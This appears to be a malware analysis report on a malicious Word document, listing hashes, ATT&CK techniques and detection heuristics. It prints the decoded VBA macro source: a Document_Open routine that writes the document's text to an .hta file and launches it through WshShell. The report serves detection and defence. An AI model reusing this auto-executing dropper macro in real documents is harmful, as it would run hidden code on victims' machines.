Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6e11a7dbcf8b96f5…

MALICIOUS

Office (OLE)

69.0 KB Created: 2021-09-13 11:25:00 Authoring application: Microsoft Office Word First seen: 2021-09-23
MD5: 21af0921d9b6fac1c2b9a057e61c81c0 SHA-1: 4d3a5f61e47106f62adf88627d4f41620d48f614 SHA-256: 6e11a7dbcf8b96f589b58fcf9d8e602150f2a4c957d0ddbc644a5699c7d849f7
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, specifically a Document_Open macro that executes a Shell command. This macro writes the document's content to a file named 'exPlEx.h' and then attempts to execute it. The presence of a macro-enable lure further supports the malicious intent.

Heuristics 6

  • ClamAV: Doc.Malware.Valyria-10009252-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10009252-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 683 bytes
SHA-256: e5a7b5280990f6cfbe38e2ac0f92ac784a8284ded0595bb19d461a3507fdb943
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
XR "exPlEx.h", ""
End Sub

Attribute VB_Name = "pwCurr"
Sub XR(plCaEx, deExPw)
Open plCaEx & "ta" For Output As #1
Print #1, Replace(ActiveDocument.Range.Text, "#-", "")
Close #1
caDtEx plCaEx, "exp"
End Sub
Sub caDtEx(plCaEx, pwUsNext)
Set pwCurrNext = New IWshRuntimeLibrary.WshShell
With pwCurrNext
.exec pwUsNext + "lorer " + plCaEx & "ta"
End With
End Sub

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